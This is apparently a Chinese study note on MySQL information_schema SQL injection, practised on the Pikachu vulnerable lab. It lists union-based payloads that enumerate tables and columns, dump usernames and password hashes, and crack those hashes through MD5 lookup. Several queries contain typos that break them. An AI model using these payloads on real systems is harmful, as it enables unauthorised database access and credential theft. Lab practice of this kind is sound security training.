Information_Schema注入
information_schema简单介绍:
打开MySQL数据库——在第二行mysql>处输入show databases(查看在MySQL上的数据库)——在第二行mysql>输入use information_schema;——进入之后在第四行mysql>输入show tables(查看该数据库的表格)——在第三行mysql>输入desc tables(查看该表格字段,查看其数据库的对应的表的名称、类型、默认引擎等等)——第三行mysql>输入desc COLUMNS——(与查看表类数据库的名称,以及表相关列的信息通过columns的表来进行相关的记录)
Xxxx%’ or1=1 #
xx型测试:
= (’’)
xx’) or 1=1 #
演示:
#获取表名:
select id,email from member. where username = ‘kobe’ union select table_ schema, table_ name from
information schema. tables where table_ schema=‘pikachu’ ;(通过该操作查看pikachu数据库有多少张表以及表的名称是什么)
操作:
在MySQL数据库的第七行mysql>输入use pikachu(使用pikachu的数据库)——第五行mysql>将select id,email from member. where username = ‘kobe’ union select table_ schema, table_ name from
information schema. tables where table_ schema=‘pikachu’ ;输入(查看表的名称)【通过联合查询跨数据库到information_schema的tables表格获取相关信息的操作】!
实际操作:
在pikachu中SQL-inject字符型注入中输入“’”字符——查看返回界面确认存在注入——确认其为字符型注入——再在字符型注入查询栏输入kobe’or 1=1#点击提交查询变例出数据——继续获取其基础信息,查询栏输入kobe’ order by 数字#查询字段信息——确认存在字段继续联合查询——(首先确认其数据库名称)——查询栏输入kobe’ union select database(),user()#查找到该数据库名称
进行联合查询
#获取字段名:
select id,email from member where. username =. ’ kobe’ union select table_ name,column_ name from
information_schema. columns where table_name= ‘users’;
test payload:
kobe" union select table_name, column_name from Information. schema. columns where table_name= ‘users’#
#获取内容
select id,email from member where username = ‘kobe’ union select username, password from users;
test. payload:
kobe’ union select username, password from users#
操作:
将“kobe’ union select table_schema, table_name from information_schema. tables where table_schema=‘pikachu’#;”放入pikachu字符型注入查询栏——得到pikachu所有表的名称——查询表的clumn表里的字段输入:‘kobe’ union select table_name, column_name from information_schema. columns where table_name=‘users’# ;得到相关字段名称username名称及e-mail名称——查询栏再次输入kobe’ union select username, password from users#——得到username以及用户加密邮箱密码——将该加密邮箱用md5解密CMD5解密得到密码。